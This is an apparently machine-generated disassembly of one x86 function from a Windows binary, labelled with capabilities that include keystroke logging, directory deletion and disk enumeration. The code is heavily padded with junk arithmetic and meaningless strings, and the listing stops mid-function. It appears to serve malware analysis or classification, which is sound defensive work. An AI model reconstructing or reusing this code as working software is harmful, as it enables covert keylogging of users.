Function at 0x10025281
Capabilities:
Delete directory
Get common file path
Get disk information
Log keystrokes
Query service status

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005ed42
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x10e0
call fcn.1005a730
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x168], 0xb743d837
mov dword [ebp - 0x800], 4
mov dword [ebp - 0xeb8], 0xea381e16
mov dword [ebp - 0x3c0], 0xc37
mov dword [ebp - 0x230], 0
jmp 0x100252eb
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 1
jge 0x10025304
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x68], 0x624039b
jmp 0x100252de
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x10025325
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov dword [ebp - 0x168], 0
jmp 0x1002533e
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jg 0x100257f7
mov dword [ebp - 0x48], 2
mov dword [ebp - 0x90], 0x4b3f4b14
mov dword [ebp - 0xbcc], 0x9532955f
mov dword [ebp - 0xbc8], 0x9532955f
mov dword [ebp - 0xbc4], 0x9532955f
mov dword [ebp - 0xbc0], 0x9532955f
lea ecx, [ebp - 0x389]
call fcn.10002073
push eax
lea eax, [ebp - 0xbbc]
push eax
lea eax, [ebp - 0xbcc]
push eax
lea ecx, [ebp - 0xf58]
call fcn.10002076
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdf8]
call fcn.10002022
and dword [ebp - 4], 0
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0xeb4], 0xffffffff
mov dword [ebp - 0xd7c], 0xceb8a064
mov dword [ebp - 0x1e4], 0
jmp 0x100253f4
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x10025410
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xafc], 0xbef27779
jmp 0x100253e7
mov dword [ebp - 0x48], 0
jmp 0x10025420
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x100257c6
mov dword [ebp - 0x978], 0
mov dword [ebp - 0xe3c], 0xfffffffb
mov dword [ebp - 0x354], 0
jmp 0x10025457
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 2
jge 0x10025473
mov eax, dword [ebp - 0x354]
mov dword [ebp + eax*4 - 0xcf8], 0xb8b2ef5e
jmp 0x1002544a
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x68]
mov dword [ebp - 0xd84], eax
mov eax, dword [ebp - 0x800]
mov dword [ebp - 0xef4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 0xbe58
jl 0x100254a8
mov dword [ebp - 0x8fc], 1
jmp 0x100254af
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xd8c], eax
cmp dword [ebp - 0x48], 0
jbe 0x100254cd
mov dword [ebp - 0x528], 1
jmp 0x100254d4
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x90], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x90]
cmp ecx, dword [ebp + eax - 0x68]
jne 0x100254fe
mov dword [ebp - 0x808], 1
jmp 0x10025505
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x48]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 0
je 0x1002552a
cmp dword [ebp - 0x90], 0
je 0x1002552a
mov dword [ebp - 0x810], 1
jmp 0x10025531
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x810], eax
jne 0x1002554c
mov dword [ebp - 0x818], 1
jmp 0x10025553
and dword [ebp - 0x818], 0
push 2
lea ecx, [ebp - 0xdf8]
call fcn.10002064
mov ecx, dword [ebp - 0x818]
cmp ecx, dword [eax]
jg 0x10025576
mov dword [ebp - 0x820], 1
jmp 0x1002557d
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x820]
neg eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x48]
jge 0x100255a2
mov dword [ebp - 0x828], 1
jmp 0x100255a9
and dword [ebp - 0x828], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
cmp dword [ebp - 0x828], eax
jne 0x100255c7
mov dword [ebp - 0x830], 1
jmp 0x100255ce
and dword [ebp - 0x830], 0
cmp dword [ebp - 0x830], 0
jle 0x100255e3
mov dword [ebp - 0x84c], 1
jmp 0x100255ea
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x84c], eax
jl 0x10025605
mov dword [ebp - 0x970], 1
jmp 0x1002560c
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x68]
mov dword [ebp - 0xe4c], eax
mov eax, 0xc4ce
test eax, eax
je 0x10025632
xor eax, eax
je 0x10025632
mov dword [ebp - 0x7e4], 1
jmp 0x10025639
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x12c], 0
jmp 0x1002565e
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jg 0x100257c1
mov dword [ebp - 0xaec], 0x94bf
mov dword [ebp - 0xad4], 0x6a6d983a
mov dword [ebp - 0xd94], 0
mov dword [ebp - 0xebc], 0x69b92b2c
cmp dword [ebp - 0x90], 0
je 0x100256a1
jmp 0x100257c1
mov dword [ebp - 0x90], 0
jmp 0x100256ba
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jl 0x100257bc
mov dword [ebp - 0xaf4], 0x1fdf20be
mov dword [ebp - 0xd9c], 6
mov dword [ebp - 0xe5c], 0x9d6240c4
mov dword [ebp - 0xda4], 1
mov dword [ebp - 0xedc], 0xbeba6e32
mov eax, dword [ebp - 0x3c0]
imul eax, dword [ebp - 0xad4]
mov dword [ebp - 0xadc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
mov dword [ebp - 0xae4], eax
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebp - 0xadc]
cmp eax, dword [ebp - 0xae4]
jne 0x10025743
mov dword [ebp - 0x414], 1
jmp 0x1002574a
and dword [ebp - 0x414], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcf8]
imul eax, dword [ebp - 0x800]
mov ecx, dword [ebp - 0xaec]
imul ecx, dword [ebp - 0xaf4]
add ecx, dword [ebp - 0x414]
cmp ecx, eax
jle 0x10025781
mov dword [ebp - 0x644], 1
jmp 0x10025788
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0xffffffff
je 0x1002579d
mov dword [ebp - 0x41c], 1
jmp 0x100257a4
and dword [ebp - 0x41c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x41c]
mov dword [ebp + eax - 0xafc], ecx
jmp 0x100256ad
jmp 0x10025651
jmp 0x10025419
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x100257e3
push 0xeed
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdf8]
call fcn.10002048
jmp 0x10025331
mov dword [ebp - 0x184], 0xfe64fd9e
push 4
lea ecx, [ebp - 0xc50]
call fcn.10001fe6
mov dword [ebp - 4], 1
mov dword [ebp - 0xb04], 0x4d0f
mov dword [ebp - 0xdac], 0x9a13
push 1
lea ecx, [ebp - 0x890]
call fcn.10001fe6
mov byte [ebp - 4], 2
mov dword [ebp - 0x1ec], 0x4d99
push 1
lea ecx, [ebp - 0xc14]
call fcn.10001fe6
mov byte [ebp - 4], 3
mov dword [ebp - 0x1c], 0
jmp 0x10025865
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10025881
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc50]
call fcn.10002064
mov dword [eax], 5
jmp 0x1002585e
mov dword [ebp - 0x1c], 0
jmp 0x10025891
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x100258ad
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x890]
call fcn.10002064
mov dword [eax], 0x9904
jmp 0x1002588a
mov dword [ebp - 0x1c], 0
jmp 0x100258bd
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100258d3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc38], 0xaf9031ea
jmp 0x100258b6
mov dword [ebp - 0x1c], 0
jmp 0x100258e3
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x100258ff
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc14]
call fcn.10002064
mov dword [eax], 0xf9491450
jmp 0x100258dc
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x75c], eax
push 2
lea ecx, [ebp - 0xc50]
call fcn.10002064
mov ecx, dword [ebp - 0x75c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x75c]
jl 0x10025a53
push 0
lea ecx, [ebp - 0x890]
call fcn.10002064
cmp dword [eax], 0
jne 0x10025962
cmp dword [ebp - 0x184], 0
jne 0x10025962
and dword [ebp - 0x424], 0
jmp 0x1002596c
mov dword [ebp - 0x424], 1
cmp dword [ebp - 0x424], 0x3d37f4a1
jle 0x10025984
mov dword [ebp - 0x64c], 1
jmp 0x1002598b
and dword [ebp - 0x64c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc38]
mov ecx, dword [ebp - 0x64c]
lea eax, [eax + ecx + 0x25005768]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xc38]
inc ecx
push 4
pop edx
shl edx, 0
mov dword [ebp + edx - 0xc38], ecx
test eax, eax
jne 0x100259df
push 0
lea ecx, [ebp - 0x890]
call fcn.10002064
cmp dword [eax], 0
jne 0x100259df
and dword [ebp - 0x42c], 0
jmp 0x100259e9
mov dword [ebp - 0x42c], 1
mov eax, dword [ebp - 0x42c]
sub eax, 0x6f9ee43d
cmp eax, dword [ebp - 0x1ec]
je 0x10025a08
mov dword [ebp - 0x82c], 1
jmp 0x10025a0f
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0xb04]
cmp dword [ebp - 0x82c], eax
jne 0x10025a29
mov dword [ebp - 0x434], 1
jmp 0x10025a30
and dword [ebp - 0x434], 0
push 0
lea ecx, [ebp - 0x890]
call fcn.10002064
mov ecx, dword [ebp - 0x434]
cmp ecx, dword [eax]
jne 0x10025a53
mov dword [ebp - 0x654], 1
jmp 0x10025a5a
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x654], eax
jle 0x10025a74
mov dword [ebp - 0x43c], 1
jmp 0x10025a7b
and dword [ebp - 0x43c], 0
push 0
lea ecx, [ebp - 0x890]
call fcn.10002064
mov ecx, dword [ebp - 0x43c]
cmp ecx, dword [eax]
jne 0x10025aa7
cmp dword [ebp - 0x1ec], 0
je 0x10025aa7
mov dword [ebp - 0xb0c], 1
jmp 0x10025aae
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0xdb4], eax
mov eax, 0x65fbc01d
test eax, eax
jne 0x10025ad5
mov eax, 0x121f2059
test eax, eax
jne 0x10025ad5
and dword [ebp - 0x764], 0
jmp 0x10025adf
mov dword [ebp - 0x764], 1
imul eax, dword [ebp - 0x764], 0x5ed7
cmp eax, 0x7ff5
jg 0x10025afc
mov dword [ebp - 0x444], 1
jmp 0x10025b03
and dword [ebp - 0x444], 0
mov esi, dword [ebp - 0x1ec]
imul esi, dword [ebp - 0x444]
push 0
lea ecx, [ebp - 0xc14]
call fcn.10002064
mov dword [eax], esi
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc14]
call fcn.10002048
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x890]
call fcn.10002048
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc50]
call fcn.10002048
cmp dword [0x1044a5f0], 0
jne 0x1002b310
mov dword [ebp - 0x65c], 0x1dc4
mov dword [ebp - 0xb14], str.sjfmj_kilh_okolom_rhvue
cmp dword [ebp - 0x65c], 0x211c
jle 0x10025c2d
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
and dword [ebp - 0x2bc], 0
jmp 0x10025b99
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x6678
jge 0x10025c2d
and dword [ebp - 0x1f4], 0
jmp 0x10025bbf
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x6936
jge 0x10025c28
and dword [ebp - 0x324], 0
jmp 0x10025be1
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x62d1
jge 0x10025c26
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp - 0x1f4]
sar eax, cl
and eax, dword [ebp - 0x324]
cdq
mov dword [ebp - 0x984], eax
mov dword [ebp - 0x980], edx
push dword [ebp - 0x980]
push dword [ebp - 0x984]
mov ecx, 0x100788d8
call fcn.10001e5c
jmp 0x10025bd4
jmp 0x10025bb2
jmp 0x10025b8c
mov dword [ebp - 4], 4
cmp dword [ebp - 0x65c], 0x1cdf
jge 0x10025c50
mov edx, dword [ebp - 0xb14]
mov ecx, 0x100788d8
call fcn.10003d65
jmp 0x10025c6c
or dword [ebp - 4], 0xffffffff
jmp 0x10025c76
mov dword [ebp - 0x47c], 0x4f77
mov dword [ebp - 0x8cc], str.bfkkilxpv_fmo_iyeanf
cmp dword [ebp - 0x47c], 0x4f96
jle 0x10025d3a
and dword [ebp - 0x1fc], 0
jmp 0x10025cb0
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x65c
jge 0x10025d3a
and dword [ebp - 0x2c4], 0
jmp 0x10025cd2
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x27e3
jge 0x10025d35
mov eax, dword [ebp - 0x1fc]
add eax, dword [ebp - 0x2c4]
cdq
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x98c], edx
push dword [ebp - 0x98c]
push dword [ebp - 0x990]
lea ecx, [ebp - 0x10c0]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0xb50], eax
mov ecx, dword [ebp - 0xb50]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0x10c0]
call fcn.10001e32
jmp 0x10025cc5
jmp 0x10025ca3
mov dword [ebp - 0x124], 0xf825
mov dword [ebp - 0x454], 1
mov dword [ebp - 0x39c], 0xbdd48407
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xec4], eax
mov eax, dword [ebp - 0x124]
sub eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x124]
jg 0x10025ed6
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x8bc], 9
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xcbc], eax
cmp dword [ebp - 0xa0], 1
jbe 0x10025dba
cmp dword [ebp - 0xa0], 0
je 0x10025dba
mov dword [ebp - 0x44c], 1
jmp 0x10025dc1
and dword [ebp - 0x44c], 0
imul eax, dword [ebp - 0x44c], 0x11e2
sub eax, 0x80eb
je 0x10025de7
cmp dword [ebp - 0xa0], 0
je 0x10025de7
mov dword [ebp - 0x7ec], 1
jmp 0x10025dee
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x454], eax
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0xcc4], eax
mov eax, dword [ebp - 0xa0]
imul eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xa0]
je 0x10025e27
mov dword [ebp - 0x664], 1
jmp 0x10025e2e
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x4fd5
jl 0x10025e52
mov dword [ebp - 0x45c], 1
jmp 0x10025e59
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x45c], eax
jge 0x10025e73
mov dword [ebp - 0xb58], 1
jmp 0x10025e7a
and dword [ebp - 0xb58], 0
mov eax, 0xdb8846b5
cmp eax, 0x2f37fc03
jne 0x10025e92
mov dword [ebp - 0x76c], 1
jmp 0x10025e99
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x76c]
sub eax, 0x4f5ee8df
mov ecx, dword [ebp - 0x124]
sub ecx, eax
cmp ecx, dword [ebp - 0x124]
jg 0x10025ec0
mov dword [ebp - 0xa80], 1
jmp 0x10025ec7
and dword [ebp - 0xa80], 0
mov dword [ebp - 0x8bc], 1
jmp 0x10025fdf
mov dword [ebp - 0x104], 0xc8a36a77
mov dword [ebp - 0x474], 0
mov dword [ebp - 0xaa4], 0x14ff6a91
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xccc], eax
cmp dword [ebp - 0x104], 0xffff
jbe 0x10025f18
mov dword [ebp - 0x464], 1
jmp 0x10025f1f
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x464], eax
je 0x10025f39
mov dword [ebp - 0x66c], 1
jmp 0x10025f40
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x66c]
jle 0x10025f63
cmp dword [ebp - 0x104], 0
je 0x10025f63
mov dword [ebp - 0x46c], 1
jmp 0x10025f6a
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x46c]
jle 0x10025f84
mov dword [ebp - 0x848], 1
jmp 0x10025f8b
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x124]
sub eax, dword [ebp - 0x848]
je 0x10025fa0
cmp dword [ebp - 0x39c], 0
mov dword [ebp - 0x474], 0x96ad
cmp dword [ebp - 0x474], 0xffff
jne 0x10025fc2
mov dword [ebp - 0x968], 1
jmp 0x10025fc9
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xcd4], eax
mov dword [ebp - 0xaa4], 0xffffffff
mov byte [ebp - 0x126], 0
mov dword [ebp - 0x674], 0x2acc
mov dword [ebp - 0xa54], str.lpjfessqy_tnmxpdv_hwaixz_exky_uofvjffwt_resrqo_cdsrxew_xtxx_gfp_ysvchk_rng
cmp dword [ebp - 0x674], 0x2c50
jle 0x100260cb
and dword [ebp - 0x1d4], 0
jmp 0x10026020
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x6f22
jge 0x100260b0
and dword [ebp - 0x204], 0
jmp 0x10026046
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x6a45
jge 0x100260ab
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x204]
shl eax, cl
cdq
mov dword [ebp - 0x99c], eax
mov dword [ebp - 0x998], edx
push dword [ebp - 0x998]
push dword [ebp - 0x99c]
lea ecx, [ebp - 0x10f0]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x8c4], eax
mov ecx, dword [ebp - 0x8c4]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0x10f0]
call fcn.10001e32
jmp 0x10026039
jmp 0x10026013
push 0xa0b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
movzx eax, byte [ebp - 0x126]
test eax, eax
je 0x100260dc
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 4], 6
cmp dword [ebp - 0x674], 0x2832
jge 0x100260fb
push dword [ebp - 0xa54]
call fcn.10047084
pop ecx
jmp 0x10026117
or dword [ebp - 4], 0xffffffff
jmp 0x10026121
mov dword [ebp - 4], 8
cmp dword [ebp - 0x47c], 0x4c0f
jge 0x10026140
push dword [ebp - 0x8cc]
call fcn.10047084
pop ecx
jmp 0x1002615c
or dword [ebp - 4], 0xffffffff
jmp 0x10026166
mov dword [ebp - 0x88], 6
mov dword [ebp - 0x37c], 0
jmp 0x10026189
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 1
jge 0x100261a5
mov eax, dword [ebp - 0x37c]
mov dword [ebp + eax*4 - 0x774], 0
jmp 0x1002617c
mov dword [ebp - 0x88], 0
jmp 0x100261be
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jl 0x10026236
mov dword [ebp - 0x158], 4
mov dword [ebp - 0xaac], 0xfffffffe
mov dword [ebp - 0x158], 0
jmp 0x100261f4
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jl 0x10026231
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp + eax*4 - 0x774]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x484]
mov dword [ebp + eax*4 - 0x774], ecx
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0xaac], eax
jmp 0x100261e7
jmp 0x100261b1
mov dword [ebp - 0x88], 0
jmp 0x1002624f
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x12
jge 0x100262e2
mov dword [ebp - 0x20c], 0
jmp 0x10026275
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 3
jge 0x10026291
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0xf04], 0xffffffff
jmp 0x10026268
mov byte [ebp - 0x113], 0
movzx eax, byte [ebp - 0x113]
test eax, eax
je 0x100262c8
push 0xd17
push 0
push 0x1f5f
push 0x2564
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf04], 0
je 0x100262dd
jmp 0x10026242
jmp 0x10026242
mov byte [ebp - 0x1c4], 4
mov byte [ebp - 0x1c3], 0xde
mov byte [ebp - 0x1c2], 6
mov byte [ebp - 0x1c1], 0x56
mov byte [ebp - 0x1c0], 0xa
mov byte [ebp - 0x1bf], 0x5f
mov byte [ebp - 0x1be], 7
mov byte [ebp - 0x1bd], 0x5e
mov byte [ebp - 0x1bc], 0
mov byte [ebp - 0x1bb], 0x79
mov byte [ebp - 0x1ba], 3
mov byte [ebp - 0x1b9], 0xa2
mov byte [ebp - 0x1b8], 0x9f
mov byte [ebp - 0x1b7], 0x2f
mov byte [ebp - 0x1b6], 1
mov byte [ebp - 0x1b5], 0x2e
mov byte [ebp - 0x1b4], 5
mov byte [ebp - 0x1b3], 9
mov byte [ebp - 0x1b2], 0xb
mov byte [ebp - 0x1b1], 0
mov byte [ebp - 0x1b0], 9
mov byte [ebp - 0x1af], 8
mov byte [ebp - 0x1ae], 2
mov byte [ebp - 0x1ad], 0x16
mov byte [ebp - 0x1ac], 3
mov byte [ebp - 0x1ab], 0x1c
mov byte [ebp - 0x1aa], 8
mov byte [ebp - 0x1a9], 0x40
mov dword [ebp - 0x180], 2
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x100263d7
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov dword [ebp - 0x180], 0xffffffef
jmp 0x100263f0
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xfffffffd
jl 0x10026436
cmp dword [ebp - 0x180], 0
je 0x10026404
jmp 0x10026436
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x10026434
push 0x1dc3
push 0x17a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
jmp 0x100263e3
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1c4]
and eax, 0xbb
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c4]
or ecx, 0xbb
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c4]
mov word [ebp + eax*2 - 0xcb4], cx
mov dword [ebp - 0x188], 1
mov dword [ebp - 0xba4], 0xfffffff7
mov dword [ebp - 0xba0], 0xfffffff7
mov dword [ebp - 0xb9c], 0xfffffff7
mov dword [ebp - 0xb98], 0xfffffff7
lea ecx, [ebp - 0x391]
call fcn.10002073
push eax
lea eax, [ebp - 0xb94]
push eax
lea eax, [ebp - 0xba4]
push eax
lea ecx, [ebp - 0xf28]
call fcn.10002076
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc8c]
call fcn.10002022
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x15c], 0xfffffffa
mov dword [ebp - 0xcdc], 1
cmp dword [ebp - 0x188], 0
jne 0x1002650c
mov dword [ebp - 0x3c4], 1
jmp 0x10026513
and dword [ebp - 0x3c4], 0
push 3
lea ecx, [ebp - 0xc8c]
call fcn.10002064
mov ecx, dword [ebp - 0x3c4]
mov dword [eax], ecx
cmp dword [ebp - 0x3c4], 0x6e5c7a00
jge 0x10026540
mov dword [ebp - 0x67c], 1
jmp 0x10026547
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x15c], 3
jmp 0x1002656c
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
jl 0x10026937
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0xce4], 2
mov dword [ebp - 0xcec], 0xddd9cd4
mov dword [ebp - 0xd20], 0x3d5943e2
push 2
lea ecx, [ebp - 0xe28]
call fcn.10001fe6
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x2cc], 0
jmp 0x100265cb
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 2
jge 0x100265ed
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0xe28]
call fcn.10002064
mov dword [eax], 0xfffffff8
jmp 0x100265be
mov dword [ebp - 0x188], 0
jmp 0x10026606
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 3
jg 0x100268ef
mov dword [ebp - 0x35c], 0x41fc9a57
mov dword [ebp - 0xd28], 0xfffffffd
mov dword [ebp - 0xd30], 0x17779a7b
mov dword [ebp - 0xd38], 0xfffffff6
push 2
lea ecx, [ebp - 0xe18]
call fcn.10001fe6
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x48c], 0x361f
mov dword [ebp - 0xa60], str.njcfo_zrpxf_purjzhm_cqig_untnxpiwn_uyt_gmfmlb_zrhqrnp_oxiqktr_yedo_nntx
cmp dword [ebp - 0x48c], 0x388d
jle 0x1002677a
and dword [ebp - 0x21c], 0
jmp 0x10026686
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x51fe
jge 0x1002677a
and dword [ebp - 0x2d4], 0
jmp 0x100266ac
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x1b02
jge 0x10026775
and dword [ebp - 0x214], 0
jmp 0x100266d2
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x4697
jge 0x10026770
and dword [ebp - 0x32c], 0
jmp 0x100266f8
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x44e7
jge 0x1002676b
mov eax, dword [ebp - 0x214]
add eax, dword [ebp - 0x32c]
mov edx, dword [ebp - 0x21c]
